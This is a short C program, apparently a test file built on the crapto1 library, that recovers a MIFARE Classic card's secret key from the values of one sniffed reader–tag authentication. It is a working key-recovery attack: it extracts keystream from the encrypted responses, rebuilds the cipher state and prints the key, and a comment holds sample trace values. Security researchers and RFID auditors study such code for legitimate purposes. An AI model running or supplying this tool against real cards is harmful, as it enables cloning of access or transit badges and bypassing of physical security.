| 1 | #define __STDC_FORMAT_MACROS |
| 2 | #include <inttypes.h> |
| 3 | #define llx PRIx64 |
| 4 | #define lli PRIi64 |
| 5 | |
| 6 | // Test-file: test2.c |
| 7 | #include "crapto1.h" |
| 8 | #include <stdio.h> |
| 9 | |
| 10 | int main (int argc, char *argv[]) { |
| 11 | struct Crypto1State *revstate; |
| 12 | uint64_t key; // recovered key |
| 13 | uint32_t uid; // serial number |
| 14 | uint32_t nt; // tag challenge |
| 15 | uint32_t nr_enc; // encrypted reader challenge |
| 16 | uint32_t ar_enc; // encrypted reader response |
| 17 | uint32_t at_enc; // encrypted tag response |
| 18 | uint32_t ks2; // keystream used to encrypt reader response |
| 19 | uint32_t ks3; // keystream used to encrypt tag response |
| 20 | |
| 21 | printf("MIFARE Classic key recovery - based 64 bits of keystream\n"); |
| 22 | printf("Recover key from only one complete authentication!\n\n"); |
| 23 | |
| 24 | if (argc < 6) { |
| 25 | printf(" syntax: %s <uid> <nt> <{nr}> <{ar}> <{at}>\n\n",argv[0]); |
| 26 | return 1; |
| 27 | } |
| 28 | |
| 29 | sscanf(argv[1],"%x",&uid); |
| 30 | sscanf(argv[2],"%x",&nt); |
| 31 | sscanf(argv[3],"%x",&nr_enc); |
| 32 | sscanf(argv[4],"%x",&ar_enc); |
| 33 | sscanf(argv[5],"%x",&at_enc); |
| 34 | |
| 35 | printf("Recovering key for:\n"); |
| 36 | printf(" uid: %08x\n",uid); |
| 37 | printf(" nt: %08x\n",nt); |
| 38 | printf(" {nr}: %08x\n",nr_enc); |
| 39 | printf(" {ar}: %08x\n",ar_enc); |
| 40 | printf(" {at}: %08x\n",at_enc); |
| 41 | |
| 42 | /* |
| 43 | uint32_t uid = 0x9c599b32; |
| 44 | uint32_t tag_challenge = 0x82a4166c; |
| 45 | uint32_t nr_enc = 0xa1e458ce; |
| 46 | uint32_t reader_response = 0x6eea41e0; |
| 47 | uint32_t tag_response = 0x5cadf439; |
| 48 | */ |
| 49 | // Generate lfsr succesors of the tag challenge |
| 50 | printf("\nLFSR succesors of the tag challenge:\n"); |
| 51 | printf(" nt': %08x\n",prng_successor(nt, 64)); |
| 52 | printf(" nt'': %08x\n",prng_successor(nt, 96)); |
| 53 | |
| 54 | // Extract the keystream from the messages |
| 55 | printf("\nKeystream used to generate {ar} and {at}:\n"); |
| 56 | ks2 = ar_enc ^ prng_successor(nt, 64); |
| 57 | ks3 = at_enc ^ prng_successor(nt, 96); |
| 58 | printf(" ks2: %08x\n",ks2); |
| 59 | printf(" ks3: %08x\n",ks3); |
| 60 | |
| 61 | revstate = lfsr_recovery64(ks2, ks3); |
| 62 | lfsr_rollback_word(revstate, 0, 0); |
| 63 | lfsr_rollback_word(revstate, 0, 0); |
| 64 | lfsr_rollback_word(revstate, nr_enc, 1); |
| 65 | lfsr_rollback_word(revstate, uid ^ nt, 0); |
| 66 | crypto1_get_lfsr(revstate, &key); |
| 67 | printf("\nFound Key: [%012"llx"]\n\n",key); |
| 68 | crypto1_destroy(revstate); |
| 69 | |
| 70 | return 0; |
| 71 | } |